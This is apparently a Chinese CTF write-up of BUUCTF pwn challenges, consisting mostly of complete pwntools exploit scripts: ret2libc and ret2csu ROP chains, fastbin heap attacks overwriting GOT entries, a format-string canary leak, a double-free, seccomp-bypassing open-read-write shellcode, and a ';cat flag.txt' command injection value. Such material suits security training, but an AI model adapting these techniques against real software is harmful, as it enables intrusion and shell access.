BUUCTF-pwn(5)
jarvisoj_level4
简单的ret2libc!
from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='i386')
r = remote('node4.buuoj.cn',25768)
#r = process('./level4')
elf = ELF('./level4')
main = elf.symbols['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
payload = b'a'*(0x88+0x4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr = u32(r.recv(4))
log.info("write_addr -> "+hex(write_addr))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr-libc.dump('write')
system = libc.dump('system')+libc_base
sh = libc.dump('str_bin_sh')+libc_base
payload = b'a'*(0x88+0x4)+p32(system)+p32(main)+p32(sh)
r.sendline(payload)
r.interactive()
jarvisoj_level3_x64
该题目为64位的Return-to-csu!
并且发现了一个可以传参的目标函数!
经过精心的构造payload,利用csu函数泄露出libc!
call qword ptr [r12+rbx*8]这里必须为write_got不可为write_plt,因为这里存在取内容符[]
from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='amd64')
r = remote('node4.buuoj.cn',28341)
#r = process('./level3_x64')
elf = ELF('./level3_x64')
main = elf.symbols['main']
write_plt = elf.plt['write']
write_got = elf.got['write']
pop_rdi = 0x04006b3
pop6_ret = 0x04006AA
csu = 0x0400690
vuln = 0x04005E6
r.recvuntil("Input:\n")
payload = b'a'*(0x80+0x8)+p64(pop6_ret)
payload += p64(0)+p64(1)+p64(write_got)+p64(8)+p64(write_got)+p64(1)
payload += p64(csu)+p64(0)*7+p64(vuln)
r.sendline(payload)
write_addr = u64(r.recvuntil(b'\x7f').ljust(8,b'\0'))
log.info("write_addr -> "+hex(write_addr))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system = libc.dump('system')+libc_base
sh = libc.dump('str_bin_sh')+libc_base
r.recvuntil("Input:\n")
payload = b'a'*(0x80+0x8)+p64(pop_rdi)+p64(sh)+p64(system)
r.sendline(payload)
#gdb.attach(r)
r.interactive()
[ZJCTF 2019]EasyHeap
首先分析一番!
大致逻辑便是我们将magic修改值!满足条件即可获得flag!
按照原本思路,是修改magic的值,利用后门函数,打印出flag,但是却提示没有文件!
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
r = remote('node4.buuoj.cn',27855)
#r = process('./easyheap')
elf = ELF('./easyheap')
magic = 0x06020C0
def Allocate(size):
r.recvuntil("Your choice :")
r.sendline('1')
r.recvuntil("Size of Heap : ")
r.sendline(str(size))
r.recvuntil("Content of heap:")
r.sendline()
def Edit(index,payload):
r.recvuntil("Your choice :")
r.sendline('2')
r.recvuntil("Index :")
r.sendline(str(index))
r.recvuntil("Size of Heap : ")
r.sendline(str(len(str(payload))))
r.recvuntil("Content of heap : ")
r.send(payload)
def Free(index):
r.recvuntil("Your choice :")
r.sendline('3')
r.recvuntil("Index :")
r.sendline(str(index))
def Exit():
r.recvuntil("Your choice :")
r.sendline('4')
def flag():
r.recvuntil("Your choice :")
r.sendline('4869')
Allocate(0x60)#0
Allocate(0x60)#1
Allocate(0x60)#2
Free(1)
payload = p64(0)*13+p64(0x71)+p64(magic-0x13)
Edit(0,payload)
Allocate(0x60)#1
Allocate(0x60)#3
payload = p32(0xdeefbeef)*6
Edit(3,payload)
flag()
#gdb.attach(r)
r.interactive()
那么我们的思路便是将free函数的got值修改为system函数的地址,此时我们往任意chunk写入’/bin/sh’,执行free(chunk)相当于执行system("/bin/sh"),那么我们可以修改heaparray表中储存的chunk的地址为free_got的地址,此时我们便可以修i该free_got了!
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
r = remote('node4.buuoj.cn',26157)
#r = process('./easyheap')
elf = ELF('./easyheap')
free_plt = elf.got['free']
system = elf.symbols['system']
heaparray = 0x06020E0
def Allocate(size):
r.recvuntil("Your choice :")
r.sendline('1')
r.recvuntil("Size of Heap : ")
r.sendline(str(size))
r.recvuntil("Content of heap:")
r.sendline()
def Edit(index,payload):
r.recvuntil("Your choice :")
r.sendline('2')
r.recvuntil("Index :")
r.sendline(str(index))
r.recvuntil("Size of Heap : ")
r.sendline(str(len(str(payload))))
r.recvuntil("Content of heap : ")
r.send(payload)
def Free(index):
r.recvuntil("Your choice :")
r.sendline('3')
r.recvuntil("Index :")
r.sendline(str(index))
def Exit():
r.recvuntil("Your choice :")
r.sendline('4')
Allocate(0x60)#0
Allocate(0x60)#1
Allocate(0x60)#2
Free(1)
payload = p64(0)*13+p64(0x71)+p64(heaparray-0x33)
Edit(0,payload)
log.info("free_plt -> "+hex(free_plt))
Allocate(0x60)#1
Allocate(0x60)#3
payload = b'/bin/sh\0'
Edit(1,payload)
payload = b'a'*0x23+p64(free_plt)
Edit(3,payload)
payload = p64(system)
Edit(0,payload)
Free(1)
#gdb.attach(r)
r.interactive()
bjdctf_2020_babyrop2
程序比较简单!
但是程序存在一个格式化字符串漏洞!
接下来有个栈溢出漏洞!
这里发现偏移量为6,而canary就位于format下8位!这样就可以泄露出canary,然后使用ret2libc就可以获取控制权了!
from pwn import *
from LibcSearcher import *
context(log_level='debug',os='linux',arch='amd64')
r = remote('node4.buuoj.cn',26307)
#r = process('./bjdctf_2020_babyrop2')
elf = ELF('./bjdctf_2020_babyrop2')
vuln = elf.symbols['vuln']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
pop_rdi = 0x0400993
#leak canary
r.recvuntil("I'll give u some gift to help u!\n")
payload = b'%7$p'
r.sendline(payload)
r.recvuntil(b'0x')
canary = int(r.recv(16),16)
log.info("canary -> "+hex(canary))
#leak libc
r.recvuntil("Pull up your sword and tell me u story!\n")
payload = b'a'*(0x20-0x8)+p64(canary)+b'b'*0x8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
r.sendline(payload)
puts_addr = u64(r.recv(6).ljust(8,b'\0'))
log.info("puts_addr -> "+hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr-libc.dump('puts')
system = libc.dump('system')+libc_base
sh = libc.dump('str_bin_sh')+libc_base
r.recvuntil("Pull up your sword and tell me u story!")
payload = b'a'*(0x20-0x8)+p64(canary)+b'b'*0x8+p64(pop_rdi)+p64(sh)+p64(system)+p64(0)
r.sendline(payload)
r.interactive()
hitcontraining_uaf
是个32位的堆利用的题目,难度不大!
保护也仅仅开启了一个NX保护!并且发现该函数中存在system函数!
可以分析得到UAF漏洞并不好利用,但是却可以有double free漏洞!
然后进行利用攻击!
from pwn import *
context(log_level='debug',os='linux',arch='i386')
r = remote('node4.buuoj.cn',26270)
#r = process('./hacknote')
elf = ELF('./hacknote')
system = elf.symbols['system']
magic = 0x08048945
bin_sh = 0x08048BD0
def Allocate(size,content):
r.sendlineafter("Your choice :",'1')
r.sendlineafter("Note size :",str(size))
r.sendafter("Content :",content)
def Free(index):
r.sendlineafter("Your choice :",'2')
r.sendlineafter("Index :",str(index))
def Print(index):
r.sendlineafter("Your choice :",'3')
r.sendlineafter("Index :",str(index))
sh = b'/bin/sh\x00'
Allocate(0x8,sh)#0
Allocate(0x10,sh.ljust(0x16,b'\0'))#1
Allocate(0x8,sh)#2
Free(0)
Free(1)
Free(0)
Allocate(0x10,sh.ljust(0x16,b'\0'))#0
Allocate(0x8,p32(magic)+p32(0))#1
#log.info("system -> "+hex(system))
#log.info("bin-sh -> "+hex(bin_sh))
Print(1)
#gdb.attach(r)
#pause()
r.interactive()
原先想的是修改打印函数地址notelist[i]为system函数,并且写入里面/bin/sh地址,但是这样行不通,而且函数存在后门函数magic,所以直接修改notelist[i]其为magic地址然后打印即可!
pwnable_orw
seccomp相当于内核中的一种安全机制,正常情况下,程序可以使用所有的 syscall,但是当劫持程序流程之后通过 exeve 来呼叫 syscall 得到 shell 时 seccomp 边排上了用场,他可以过滤掉某些 syscall,只允许使用部分 syscall。
故我们没有办法直接运行system(’/bin/sh’)去取得shell。
int ( int option,unsigned long arg2,unsigned long arg3,unsigned long arg4,unsigned long arg5 )
这个系统调用指令是为进程制定而设计的,由 option 决定做什么,其他的参数取值含义根据 option 而定。
此时我们使用seccomp-tools工具来查探该文件中所存在的syscall!
此时我们的大致思路为open打开flag文件,然后使用read将flag内容读到内存中,再使用write打印出flag即可!
x86-32的内核传参为eax为syscall_number,ebx,ecx,edx,esi,edp用于将6个参数传递给系统调用。返回值保留再eax中,所有其它寄存(包括EFLAGS)都保留再int 0x80中。
from pwn import *
context(log_level='debug',os='linux',arch='i386')
r = remote('node4.buuoj.cn',25264)
#r = process('./orw')
elf = ELF('./orw')
shellcode = shellcraft.open("flag.txt")
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
r.recvuntil("Give my your shellcode:")
r.send(shellcode)
r.interactive()
该方法较为简单,直接使用了pwntools中shellcraft中的模板!
当然也可以编写汇编代码,翻译为机器代码发送执行!
#sys_open(flag,0,0)
xor ecx,ecx; #此时ecx为0x0
mov eax,0x5; #设置syscall调用号为0x5(open)
push ecx; #设置栈顶为\x00结束字符
push 0x67616c66;#设置栈顶为flag,小端序
mov ebx,esp; #将栈顶数值赋值到ebx上
xor edx,edx; #设置权限
int 0x80;
#sys_read(3,flag,0x30)
mov eax,0x3; #设置调用号
mov ecx,ebx; #将ebx中的flag赋值到ecx中
mov ebx,eax; #设置文件描述符
mov dl,0x30; #设置输出字节,dl为数据寄存器
int 0x80;
#sys_write(1,flag,0x30)
mov eax,0x4; #设置调用号
mov bl,0x1; #设置基址寄存器为0x1
mov edx,0x30 #设置edx为0x30
int 0x80;
此为pwntools内置模板
/* open(file='flag.txt', oflag=0, mode=0) */
/* push b'flag.txt\x00' */
push 1 #入栈0x1
dec byte ptr [esp] #将esp栈顶指针减1
push 0x7478742e #.txt
push 0x67616c66 #flag
mov ebx, esp #将栈顶元素移入ebx中
xor ecx, ecx #将ecx置零
xor edx, edx #将edx置零
/* call open() */
push 5 /* 5 */ #入栈0x5
pop eax #将栈顶元素0x5移入eax中,eax为syscall_number
int 0x80
/* read(fd='eax', buf='esp', nbytes=0x64) */
mov ebx, eax #将返回值eax移入ebx中
mov ecx, esp #将栈顶元素移入ecx中
push 0x64 #入栈0x64
pop edx #将栈顶元素0x64移入edx中
/* call read() */
push 3 /* 3 */ #入栈0x3
pop eax #将栈顶元素0x3移入eax中
int 0x80
/* write(fd=1, buf='esp', n=0x64) */
push 1 #入栈0x1
pop ebx #将栈顶元素0x1移入ebx中
mov ecx, esp #将栈顶元素移入ecx中
push 0x64 #入栈0x64
pop edx #将栈顶元素0x1移入edx中
/* call write() */
push 4 /* 4 */ #入栈0x4
pop eax #将栈顶元素0x4移入eax中
int 0x80
bjdctf_2020_router
from pwn import *
context(log_level='debug',os='linux',arch='amd64')
r = remote('node4.buuoj.cn',26529)
#r = process('./bjdctf_2020_router')
elf = ELF('./bjdctf_2020_router')
r.recvuntil("Please input u choose:\n")
r.sendline('1')
payload = b';cat flag.txt'
r.recvuntil("Please input the ip address:\n")
r.sendline(payload)
r.interactive();
jarvisoj_test_your_memory
进入men_test函数中分析!
但是发现远程中是先输入再输出,这是与本地所不同的地方!题目也是比较简单的!
from pwn import *
context(log_level='debug',os='linux',arch='i386')
r = remote('node4.buuoj.cn',27694)
#r = process('./memory')
elf = ELF('./memory')
main = elf.symbols['main']
system = elf.symbols['system']
cat_flag = 0x080487E0
payload = b'a'*(0x13+0x4)+p32(system)+p32(main)+p32(cat_flag)
r.sendline(payload)
r.interactive()